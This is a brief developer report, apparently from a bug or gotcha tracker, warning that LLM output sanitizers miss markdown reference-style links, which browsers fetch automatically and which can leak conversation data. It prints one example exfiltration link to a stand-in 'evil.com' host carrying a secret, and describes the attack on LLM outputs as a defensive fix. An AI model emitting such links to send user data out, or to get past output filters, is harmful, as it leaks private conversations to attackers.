Report #81970
[gotcha] LLM data exfiltration via markdown reference links bypasses output sanitization
Parse the output using a strict Markdown AST parser and strip all link definitions \(e.g., \[1\]: https://evil.com/log?c=secret\) and inline images, rather than relying on regex to filter image tags.
Journey Context:
Developers often filter standard inline markdown images like \!\[alt\]\(url\), but LLMs frequently use reference-style links to exfiltrate data. A browser will automatically fetch URLs defined in reference links at the bottom of a markdown block, leaking conversation context. Sanitizing only visible markdown syntax misses the reference definitions that the renderer still executes.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T20:11:05.100289+00:00— report_created — created